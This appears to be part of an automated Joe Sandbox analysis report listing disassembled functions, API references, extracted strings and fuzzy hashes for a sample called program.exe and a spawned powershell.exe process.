Function 00007FFE0139D690 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 163COMMON

Download Yara Rule

APIs

00007FFE1A463010.VCRUNTIME140(?,?,?,?,?,?,00000000,00000001,00007FFE0139D93A,?,?,?,00007FFE0139DCFB), ref: 00007FFE0139D8A7

Strings

CRE, xrefs: 00007FFE0139D7EF
INS, xrefs: 00007FFE0139D809

Memory Dump Source

Source File: 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2120031328.00007FFE01300000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01461000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01463000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01478000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120284056.00007FFE0147A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120315849.00007FFE0147C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_program.jbxd

Similarity

API ID: 00007A463010
String ID: CRE$INS
API String ID: 4225454184-4116259516
Opcode ID: 177b3dc2dd9e3d69267a52aa739a80a639a766b193c8cfec1c294ebe9436121b
Instruction ID: f20aa3e1795186683ec51aafce4aae867cbdb8723e854d24462e116cc76e8979
Opcode Fuzzy Hash: 177b3dc2dd9e3d69267a52aa739a80a639a766b193c8cfec1c294ebe9436121b
Instruction Fuzzy Hash: 9851AC25B0D68281FB619FA6A45227D67A1BF80FC4F5A4135DE4D4F7B9DE3CE8018340

Function 00007FFE00761EBF Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 140COMMON

Download Yara Rule

APIs

00007FFE1FFB6570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFE00769154

Strings

..\s\ssl\d1_srtp.c, xrefs: 00007FFE0076908B, 00007FFE00769183
ssl_ctx_make_profiles, xrefs: 00007FFE0076907F, 00007FFE0076917A

Memory Dump Source

Source File: 00000001.00000002.2119745990.00007FFE00761000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFE00760000, based on PE: true

Associated: 00000001.00000002.2119715206.00007FFE00760000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE0080D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00818000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00823000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119967268.00007FFE00827000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119999506.00007FFE00829000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe00760000_program.jbxd

Similarity

API ID: 00007B6570
String ID: ..\s\ssl\d1_srtp.c$ssl_ctx_make_profiles
API String ID: 4069847057-118859582
Opcode ID: e76ec92c1eceef7b0bbcb8077533a9e54e2e53dd7fd2383ad3f477ea5b2b501f
Instruction ID: 4d03b99635b448e691b93bce1eef4ff9e0927d5af892c8e8903659d88ac3ea84
Opcode Fuzzy Hash: e76ec92c1eceef7b0bbcb8077533a9e54e2e53dd7fd2383ad3f477ea5b2b501f
Instruction Fuzzy Hash: A351B221B0E68786FB54BB55A8143B952A5AF45B84FAC4032DF4E477FEDE3CE8428300

Function 00007FF6B7525B1C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B7521760: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B7521793

_get_daylight.LIBCMT ref: 00007FF6B7525C34
_get_daylight.LIBCMT ref: 00007FF6B7525C45

Strings

?, xrefs: 00007FF6B7525BC5

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 34aa9ba053483d92f686c00bb3d23c2ed0895a5cb55bf09a4ef316522e0c30cf
Instruction ID: f9009eb84b4961b74f439333b38a427d6c0a88f659bf914f75efe23bf268949c
Opcode Fuzzy Hash: 34aa9ba053483d92f686c00bb3d23c2ed0895a5cb55bf09a4ef316522e0c30cf
Instruction Fuzzy Hash: F941E623B1C28256FB659B29954137A67A0EF80BA4F144275EF5D86AF5DF3CD8818B00

Function 00007FF6B7519014 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B7519046

Part of subcall function 00007FF6B751A948: HeapFree.KERNEL32(?,?,?,00007FF6B7522D22,?,?,?,00007FF6B7522D5F,?,?,00000000,00007FF6B7523225,?,?,?,00007FF6B7523157), ref: 00007FF6B751A95E
Part of subcall function 00007FF6B751A948: GetLastError.KERNEL32(?,?,?,00007FF6B7522D22,?,?,?,00007FF6B7522D5F,?,?,00000000,00007FF6B7523225,?,?,?,00007FF6B7523157), ref: 00007FF6B751A968

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF6B750CBA5), ref: 00007FF6B7519064

Strings

C:\Users\user\Desktop\program.exe, xrefs: 00007FF6B7519052

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\program.exe
API String ID: 3580290477-2554842565
Opcode ID: 652ac8178d02f9bf502bb0dac840cc2c27021cfa98e1c84195502d2d1921a3a9
Instruction ID: b677119557b6f86b8c06a5fb58fd3cc327bce63cb1526ffe50d729b2e8220c3e
Opcode Fuzzy Hash: 652ac8178d02f9bf502bb0dac840cc2c27021cfa98e1c84195502d2d1921a3a9
Instruction Fuzzy Hash: 90418937A0CA628AEB159F2998401BD67A4EF44BD1B554039EB4E87FA5DF3CE891C340

Function 00007FF6B751CC38 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF6B751CD4F
GetLastError.KERNEL32 ref: 00007FF6B751CD71

Strings

U, xrefs: 00007FF6B751CCFB

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 4f5d94246872f2193e537bc66f33c90add5f7e97f4787e66017fcfb3b1ebd6d4
Instruction ID: a294a28bbd36a8039f0d9a75b480996b95cbcfc70026829bcab52d0d8dc4ab8f
Opcode Fuzzy Hash: 4f5d94246872f2193e537bc66f33c90add5f7e97f4787e66017fcfb3b1ebd6d4
Instruction Fuzzy Hash: 2F41B123A1CA9585DB609F2AE4443AA67A1FB98784F444135EF4DC7BA8EF3DD441CB40

Function 00007FFE0078DBA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 87COMMON

Download Yara Rule

Strings

..\s\ssl\ssl_sess.c, xrefs: 00007FFE0078DBCF, 00007FFE0078DBF9, 00007FFE0078DCB3, 00007FFE0078DD03
SSL_SESSION_new, xrefs: 00007FFE0078DBED, 00007FFE0078DCA7

Memory Dump Source

Source File: 00000001.00000002.2119745990.00007FFE00761000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFE00760000, based on PE: true

Associated: 00000001.00000002.2119715206.00007FFE00760000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE0080D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00818000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00823000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119967268.00007FFE00827000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119999506.00007FFE00829000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe00760000_program.jbxd

Similarity

API ID:
String ID: ..\s\ssl\ssl_sess.c$SSL_SESSION_new
API String ID: 0-402823876
Opcode ID: feb9b1f341a818fe45b99e8c6c162b3a0b89dfbb9c9502528c471bd395979744
Instruction ID: 47381be6b5ffc261daca45eb71f081691ee1a824abbfe58454e225ffbdbc78b3
Opcode Fuzzy Hash: feb9b1f341a818fe45b99e8c6c162b3a0b89dfbb9c9502528c471bd395979744
Instruction Fuzzy Hash: 2331C360B0AA8282EB64FB25D8553FD1290FF48744F8C4136DB4D877EEDE2CDA408311

Function 00007FFE007680D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32 ref: 00007FFE0076811D
SystemTimeToFileTime.KERNEL32 ref: 00007FFE0076812D

Strings

gfff, xrefs: 00007FFE0076815F

Memory Dump Source

Source File: 00000001.00000002.2119745990.00007FFE00761000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFE00760000, based on PE: true

Associated: 00000001.00000002.2119715206.00007FFE00760000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE0080D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00818000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00823000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119967268.00007FFE00827000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119999506.00007FFE00829000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe00760000_program.jbxd

Similarity

API ID: Time$System$File
String ID: gfff
API String ID: 2838179519-1553575800
Opcode ID: a0b97f4aea56fea0423c07e2c95279f2c9599c66744ee81c656443d2e1a48d07
Instruction ID: dd9afd47a17b20d07f16837a4d6ad0e51b85fcdb3d73576fa96add59b5c094ab
Opcode Fuzzy Hash: a0b97f4aea56fea0423c07e2c95279f2c9599c66744ee81c656443d2e1a48d07
Instruction Fuzzy Hash: 7221D572A0968B86DB98DF29D4003B976E4FB89B84F488139DB4E87769DE3CD1418B01

Function 00007FF6B751F5B8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF6B751F5F8
GetCurrentDirectoryW.KERNEL32 ref: 00007FF6B751F64A

Strings

:, xrefs: 00007FF6B751F60E

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: e8d367c4ea258391d160676196091cc4497c978f166048fd005a5cb1bdaac227
Instruction ID: 17d1cb73cfb60a2195a6cc62f711a24f1eb5c2635f239ee9431842b37d667d3d
Opcode Fuzzy Hash: e8d367c4ea258391d160676196091cc4497c978f166048fd005a5cb1bdaac227
Instruction Fuzzy Hash: EE21B163A0C69181EB209F19D84427D73B1FB88B85F864139DB8D83AE4DF7CE985CB41

Function 00007FF6B750FD48 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF6B750FD98
RaiseException.KERNEL32 ref: 00007FF6B750FDD9

Strings

csm, xrefs: 00007FF6B750FDC6

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: b596af9f6a60738c50b353da5cbad86497326ffe12a5eabfdc94c01c9dae4a3e
Instruction ID: 46f69375e5e0cb36e2d3d13817035f4875b358d53a28a2436d4d03ae55c646c2
Opcode Fuzzy Hash: b596af9f6a60738c50b353da5cbad86497326ffe12a5eabfdc94c01c9dae4a3e
Instruction Fuzzy Hash: 2D110A33618B8182EB618F19E84025977A5FB88B88F584234DB8D47764DF3DD5528700

Function 00007FF6B752073C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B752076C
GetDriveTypeW.KERNEL32 ref: 00007FF6B75207AC

Strings

:, xrefs: 00007FF6B7520795

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 68237dfdc7112287ec82a3b365f776b5c9f6f856de5878160eaa1a8f91e0357f
Instruction ID: faa2155f1e93b51dfa73d5b32b26958f61afaba14c8c3fe0174856b584320da4
Opcode Fuzzy Hash: 68237dfdc7112287ec82a3b365f776b5c9f6f856de5878160eaa1a8f91e0357f
Instruction Fuzzy Hash: 1301A223A1C20386F730AF68946127E23A0EF48744F841036D74DC66B5EF3CE5458F24

Function 00007FFE00768B10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,00007FFE007683B4), ref: 00007FFE00768B36
SystemTimeToFileTime.KERNEL32(?,00007FFE007683B4), ref: 00007FFE00768B46

Strings

gfff, xrefs: 00007FFE00768B7A

Memory Dump Source

Source File: 00000001.00000002.2119745990.00007FFE00761000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFE00760000, based on PE: true

Associated: 00000001.00000002.2119715206.00007FFE00760000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE0080D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00818000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00823000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119967268.00007FFE00827000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119999506.00007FFE00829000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe00760000_program.jbxd

Similarity

API ID: Time$System$File
String ID: gfff
API String ID: 2838179519-1553575800
Opcode ID: e25ff0695230b9ef20f6353c867282db066572866cf8b2610bfc2824b0035600
Instruction ID: 4cb634d17ec5878905c712a010fcb8a5275d36f1ee264cda97eb68c5de2cae24
Opcode Fuzzy Hash: e25ff0695230b9ef20f6353c867282db066572866cf8b2610bfc2824b0035600
Instruction Fuzzy Hash: 8301DBE2B14A8582DF50DB25F8051956794FBCC784B449032E74EC7769EE3CD2058700

Analysis Process: powershell.exePID: 7512, Parent PID: 7384COMMON

Executed Functions

Function 00007FFD9A5B67F5 Relevance: .4, Instructions: 442COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1929778258.00007FFD9A5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9A5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9a5b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9dfb30400125ef44ff04028fc71009a33377492abdb1f9cc6a67d504134fb5e9
Instruction ID: a6e8047454790f9b4994e63fad62f989556fad656199f048209a91d83b622de2
Opcode Fuzzy Hash: 9dfb30400125ef44ff04028fc71009a33377492abdb1f9cc6a67d504134fb5e9
Instruction Fuzzy Hash: 2CD13862B0EA8A4FEBAA9B6848755B57BE0EF46311B1801FFD05DC74D3DA29E8058341

Function 00007FFD9A4E60C5 Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1928918265.00007FFD9A4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9A4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9a4e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e65128a12f90f873f4cf876795f969b3d394cbe664ff3900016c38234bc10ad
Instruction ID: 4c90f30f9da83645da24eaca1eabc62f50cdb0964d51ab3b05c1ec52a53e1188
Opcode Fuzzy Hash: 4e65128a12f90f873f4cf876795f969b3d394cbe664ff3900016c38234bc10ad
Instruction Fuzzy Hash: 1C11826690D7C54FD7279B6898351A5BFB0EF13211F1901E7D899CB0E3DA186C18C792

Function 00007FFD9A4E9985 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1928918265.00007FFD9A4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9A4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9a4e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a57aed8126f8cf33a05efb322494f56c6c81a24f0c9829f0046937bb182f4e50
Instruction ID: 7c637e6e1df4d27f4ad752d209213ee8a71cae1b19999283f49bb330e5b06b8a
Opcode Fuzzy Hash: a57aed8126f8cf33a05efb322494f56c6c81a24f0c9829f0046937bb182f4e50
Instruction Fuzzy Hash: D541F931A0CB484FDB1C9B5CAC466F8BBE0EB55321F00426FD04983692CB757856CBC6

Function 00007FFD9A4E9870 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1928918265.00007FFD9A4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9A4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9a4e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43d2cba59af63916f1be12e9f8fcb582879daf4c1f8be19a8a0646bd263e53eb
Instruction ID: 9d21498a7ec69f5e5f5564df279bdb9f6a4adc7545e6db9434f9770d5f27332c
Opcode Fuzzy Hash: 43d2cba59af63916f1be12e9f8fcb582879daf4c1f8be19a8a0646bd263e53eb
Instruction Fuzzy Hash: 2741E871A1CB884FDB1C9F5C9C466A97BE0FBA9310F04426FE44DD3292CA60AD15CBC2

Function 00007FFD9A4EA59C Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1928918265.00007FFD9A4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9A4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9a4e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f07e691b6fa67504a740d682680ccc6db9136972f696bf8e46dd43586186ceb
Instruction ID: c21fc7b9796f2a01b731766dcc99bb3da0c74dfd77bd311d696aca5c9cfae674
Opcode Fuzzy Hash: 8f07e691b6fa67504a740d682680ccc6db9136972f696bf8e46dd43586186ceb
Instruction Fuzzy Hash: 64412A7190C7884FDB19DBAC98467E97FE0EB56331F04816FD04DC3152D6756416CB91

Function 00007FFD9A3CE540 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1927622420.00007FFD9A3CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9A3CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9a3cd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c4e97459396328d1dd943123e1f03ca1e5a8da574ae82d3dd03b970f8f135e1
Instruction ID: 42ada090a615312917e6c53743a79e1ed2b4d9d72cff3ddaaf4a44f4f49c8729
Opcode Fuzzy Hash: 7c4e97459396328d1dd943123e1f03ca1e5a8da574ae82d3dd03b970f8f135e1
Instruction Fuzzy Hash: 6A41253140DBC44FE76AAB689C519523FF0EF42324F1601DFD488CB0A3D625E805C792

Function 00007FFD9A4EA668 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1928918265.00007FFD9A4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9A4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9a4e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c8fa7593010f62b35e1ff1c1e16c3df1ac461fd4abd2d5fe44ef9d974b13a23
Instruction ID: 0eda5a5fc032a7f203c831a619fa2818e0fc630b45b3a86b757fc2fed51b6698
Opcode Fuzzy Hash: 1c8fa7593010f62b35e1ff1c1e16c3df1ac461fd4abd2d5fe44ef9d974b13a23
Instruction Fuzzy Hash: 5A218B32B0CA490FEB99DBAC94553B477D0EB55325F1441FBC04DC32A7CE68A8068751

Function 00007FFD9A4EA1D3 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1928918265.00007FFD9A4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9A4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9a4e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c95d813f98e6aebf8da592bf7939c7542329410c8a5f99a96e8f701310b83db
Instruction ID: abac36ba8a377c06f0558d840b5c3394d6125b1a6e1ae9b525bddddcdfef540c
Opcode Fuzzy Hash: 1c95d813f98e6aebf8da592bf7939c7542329410c8a5f99a96e8f701310b83db
Instruction Fuzzy Hash: B2014433A0D5894FE701BFACACB64E97B90EF91319B1801B7D09DC70A2DE1969048382

Function 00007FFD9A4E33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1928918265.00007FFD9A4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9A4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9a4e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: f7bd2d1d2dacaefbbddbeb645a8dcb0e3750071bb665b73589ac630832aa265a
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: 1001A73120CB0C4FD758EF0CE451AA5B3E0FB85324F10056DE58AC36A5DB36E882CB46

Function 00007FFD9A5B432D Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1929778258.00007FFD9A5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9A5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9a5b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 603ee98ef949dc6b4199bc1dcfb392f4323efef4face4d16625b4ae652fd9795
Instruction ID: 1ea930747b04b282ef89cd8a57ac70b22a2fdc70aa76fb00a3aace7666c02118
Opcode Fuzzy Hash: 603ee98ef949dc6b4199bc1dcfb392f4323efef4face4d16625b4ae652fd9795
Instruction Fuzzy Hash: F2F09A32B0D5058FD7B9EA4CA8948A873F0EF4A32171500FBE159C71A7CA26EC80C742

Function 00007FFD9A5B45E0 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1929778258.00007FFD9A5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9A5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9a5b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9274ccc6ac2e189046b7dbbf2b5720d8562167da5c679a720495ab583625eaf6
Instruction ID: 0cc6c9e10a83476e0b1dd19e83c18a65e10e7981dbdd3499efc57e456004a491
Opcode Fuzzy Hash: 9274ccc6ac2e189046b7dbbf2b5720d8562167da5c679a720495ab583625eaf6
Instruction Fuzzy Hash: D7F05E32B0D5448FDBA9EE5CE4958A877F0EF0632571510F7E159C75A7CA26AC40C741

Non-executed Functions

Function 00007FFD9A4E84FA Relevance: 9.0, Strings: 7, Instructions: 229COMMON

Download Yara Rule

Strings

L_^, xrefs: 00007FFD9A4E857A
L_^, xrefs: 00007FFD9A4E84CA
L_^, xrefs: 00007FFD9A4E852A
L_^, xrefs: 00007FFD9A4E856A
L_^, xrefs: 00007FFD9A4E84FA
